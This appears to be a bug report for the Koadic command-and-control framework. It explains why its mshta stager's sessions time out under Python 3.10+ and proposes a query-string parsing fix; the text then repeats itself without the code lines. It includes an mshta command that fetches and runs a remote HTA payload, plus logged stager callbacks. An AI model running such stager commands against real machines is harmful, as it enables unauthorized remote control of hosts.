Description
When running Koadic on a newer Python version (Python 3.10+), the mshta stager successfully connects to the listener and begins staging, but the zombie times out before becoming fully staged.
Example:
[+] Spawned a stager at http://192.168.41.130:9999/test
[>] mshta http://192.168.41.130:9999/test
[+] Zombie 0: Staging new connection (192.168.41.131) on Stager 0
[!] Zombie 0: Timed out.
Network captures show that the initial HTA is successfully retrieved and subsequent callbacks are made by the stager:
GET /test
POST /test?1Q0C81BB22=395b1f996fca4e7c945e7262d9a1f322;MP4RD7Z3NI=;
GET /test?1Q0C81BB22=395b1f996fca4e7c945e7262d9a1f322;MP4RD7Z3NI=;\\..\\..\\..\\./mshtml,RunHTMLApplication
The behaviour was reproduced on both Windows 10 and Windows 11 using Python 3.13.
Cause
core/handler.py parses the query string using:
self.get_params = parse_qs(splitted[1]) if len(splitted) > 1 else {}
Koadic's stager uses ; as the query parameter separator.
Since Python 3.10 urllib.parse.parse_qs() no longer treats both & and ; as query parameter separators by default. The default separator is now only &.
As a result, a query such as:
is parsed as a single parameter rather than separate SESSION and JOB parameters.
This prevents the callback from being associated correctly with the existing session, and the zombie eventually reaches the timeout in core/extant.py.
Proposed fix
Explicitly specify Koadic's query-string separator and preserve empty values:
self.get_params = parse_qs(
splitted[1],
separator=';',
keep_blank_values=True
) if len(splitted) > 1 else {}
The separator argument was introduced in Python 3.10, so this solution would not be compatible with older Python versions.
If compatibility with older Python versions is required, the query string could instead be normalized before passing it to parse_qs():
if len(splitted) > 1:
query = splitted[1].replace(';', '&')
self.get_params = parse_qs(query)
else:
self.get_params = {}
This preserves Koadic's existing semicolon-separated query-string format while allowing parse_qs() to parse the parameters correctly on both older and newer Python versions.
Description
When running Koadic on a newer Python version (Python 3.10+), the mshta stager successfully connects to the listener and begins staging, but the zombie times out before becoming fully staged.
Example:
Network captures show that the initial HTA is successfully retrieved and subsequent callbacks are made by the stager:
The behaviour was reproduced on both Windows 10 and Windows 11 using Python 3.13.
Cause
core/handler.py parses the query string using:
Koadic's stager uses
;as the query parameter separator.Since Python 3.10
urllib.parse.parse_qs()no longer treats both & and;as query parameter separators by default. The default separator is now only&.As a result, a query such as:
is parsed as a single parameter rather than separate SESSION and JOB parameters.
This prevents the callback from being associated correctly with the existing session, and the zombie eventually reaches the timeout in core/extant.py.
Proposed fix
Explicitly specify Koadic's query-string separator and preserve empty values:
The separator argument was introduced in Python 3.10, so this solution would not be compatible with older Python versions.
If compatibility with older Python versions is required, the query string could instead be normalized before passing it to parse_qs():
This preserves Koadic's existing semicolon-separated query-string format while allowing parse_qs() to parse the parameters correctly on both older and newer Python versions.